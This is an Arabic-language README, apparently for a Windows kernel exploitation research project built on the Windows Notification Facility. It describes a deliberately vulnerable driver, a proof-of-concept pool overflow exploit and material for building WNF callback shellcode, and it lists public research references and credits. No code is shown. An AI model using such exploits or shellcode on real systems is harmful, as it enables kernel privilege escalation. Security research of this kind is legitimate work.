PoolVulnDrvهذا برنامج تشغيل نواة قابل للاستغلال لاختبار بدائية WNF للنواة.
WnfPoolOverflowهذا هو PoC لاستغلال PoolVulnDrv.

WnfPrimitive.png

WnfCallbackPayload

يحتوي هذا الدليل على مستندات وأكواد نموذجية لبناء شيلكود استدعاء WNF الخاص بك. انظر README.md.

المراجع

العودة إلى الأعلى

  • Windows Notification Facility: تقشير البصلة عن أكثر أسطح هجوم النواة غير الموثقة حتى الآن
  • اللعب مع Windows Notification Facility (WNF)
  • wnfun
  • حقن العمليات في Windows: Windows Notification Facility
  • هياكل اشتراك مستخدم WNF الجديدة في Windows 11
  • CVE-2021-31956 استغلال نواة Windows (NTFS مع WNF) – الجزء 1
  • CVE-2021-31956 استغلال نواة Windows (NTFS مع WNF) – الجزء 2
  • POC2021 – شرائح اختراق نواة Windows 10 باستخدام NTFS و WNF

شكر وتقدير

العودة إلى الأعلى

شكرًا على أبحاثكم:

  • Alex Ionescu (@aionescu)
  • Gabrielle Viala (@pwissenlit)
  • odzhan (@modexpblog)
  • Alex Plaskett (@alexjplaskett)

شكرًا على مساعدتكم:

  • mishap (@oopsmishap)
تنزيل الأداة